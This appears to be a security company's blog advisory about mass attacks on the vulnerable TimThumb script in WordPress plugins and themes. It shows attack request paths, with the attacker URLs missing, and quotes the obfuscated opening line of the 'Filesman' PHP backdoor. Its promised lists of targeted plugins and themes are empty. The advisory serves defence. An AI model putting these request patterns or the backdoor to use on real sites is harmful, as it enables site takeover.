Attacks Against Timthumb.php in the Wild – List of Themes and Plugins Being Scanned

We are seeing large scale attacks against the vulnerable timthumb.php script in the wild. Thousands of sites are getting compromised and if you have it in your WordPress site, you better get it fixed right now!

After a few days analyzing the compromised sites and many log files, here are the plugins we’ve seen getting scanned by the attackers (total of 25):

Here are the themes we’ve seen scanned (total of 45):

If you have any of these installed on your site, please verify them for the TimThumb script. If they contain the script ensure it is updated immediately.

Attacks in the wild

We are seeing many attacks in the wild, basically they scan all these plugins and themes, then attempt to compromise the site.

Here is a type of request they will make:

GET /wp-content/plugins/wordpress-gallery-plugin/timthumb.php?src=

Did you catch that? They created a fake domain on dyndns, called and used that to upload a PHP shell.

Another types of attacks will looks like that:

GET /wp-content/plugins/igit-posts-slider-widget/timthumb.php?src=
GET /wp-content/plugins/igit-posts-slider-widget/timthumb.php?src=
GET /wp-content/plugins/igit-posts-slider-widget/timthumb.php?src=

This time using to upload the backdoor on to the site.

When you check for these backdoors, they are the standard “Filesman” backdoor:

<?php $auth_pass = "47a85"."6c68".”e623468d84123″.”e87881d1e3″;$color = “#df5″;$default_action = "File".’sMa’.’n';$default_use_ajax = true;$default_charset = ‘Windows-‘.’1251′;…

As you can see, they are very easy to execute (a simple GET) and can really damage your site. Now, it’s time to take action!

If you are not sure if your site is compromised already, you can scan it using Sucuri SiteCheck. If you need help, sign up here and we can fix/secure your site for you.

Scan your website for free:
About David Dede

David Dede is a Security Researcher in the SucuriLabs group. He spends most of his time dissecting vulnerabilities and security issues. You won't find him on Twitter because he is paranoid about privacy.